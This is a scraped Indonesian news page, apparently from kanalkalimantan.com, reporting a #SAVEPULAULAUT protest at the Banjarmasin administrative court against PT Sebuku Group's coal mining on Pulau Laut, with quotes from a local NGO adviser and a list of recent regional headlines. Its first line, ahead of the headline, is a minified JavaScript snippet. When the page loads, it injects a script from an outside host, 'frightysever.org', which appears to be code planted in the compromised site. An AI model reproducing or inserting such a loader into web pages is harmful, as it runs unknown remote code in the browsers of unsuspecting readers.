(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Massa #SAVEPULAULAUT Kembali ‘Serbu’ PTUN Banjarmasin


BANJARMASIN, Sidang lanjutan gugatan PT Sebuku Group versus Gubernur Kalimantan Selatan H Sahbirin Noor berlanjut kembali, Kamis (31/5) di Pengadilan Tata Usaha Negeri Banjarmasin dengan agenda penyerahan kesimpulan.

Pada saat kesimpulan di persidangan, halaman PTUN Banjarmasin kembali kedatangan massa #savepulaulaut yang menuntut dan menyuarakan aspirasi mereka yang menolak tambang di Pulau Laut.

Sugianoor, Dewan Penasehat Lembaga Swadaya Masyarakat Anak Kaki Gunung Sebatang mengatakan, kejadian ini pernah dialaminya pada tahun 2000-an ketika masyarakat membawa aspirasi mereka dengan murni untuk menolak pertambangan.

“Bukan apa-apa, saya tahu bagaimana tambang di Kotabaru, ucapan saya tidak mengada-ada,” katanya.

Ditambahkannya, pertambangan di Kotabaru merupakan hasil kegiatan yang sangat tidak bermanfaat dan pekerja dari suatu proyek tambang didominasi oleh masyarakat luar Kotabaru. Dari income daerah pun tak mumpunyai dampak yang besar dari segi ekonomi maupun fasilitas dan sarana masyarakat.

Menurutnya tidak ada satupun hal positifnya yang dihasilkan oleh pengusaha tambang, baik dari sektor kesehatan maupun fasilitas umum, sedangkan Kotabaru menyumbangkan kurang lebih Rp 100 triliun untuk APBN.

“Fasilitas?, jembatan saja sampai saat ini belum terbangun,” katanya.

Apabila keputusan ini tetap mengabulkan pihak PT Sebuku Group untuk tetap melakukan penambangan di Pulau Laut, maka masyarakat akan terus berjuang melawan keputusan tersebut. Ia menegaskan bahwa hukum harus berdasarkan representasi aspirasi masyarakat.

“Hukum harus berpihak kepada masyakat,” terangnya.

Ia berharap kepada seluruh elemen masyarakat harus bijaksana dalam menanggapi penolakan tambang di Pulau Laut, pihak yang menolak bukan anti investasi akan tetapi lebih ingin mengembangkan agrobisnis dan agrowisata karena dinilai lebih ramah serta tidak merusak lingkungan. (ammar)

Reporter: Ammar
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

7 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

8 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

8 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

9 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

10 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

11 jam ago

This website uses cookies.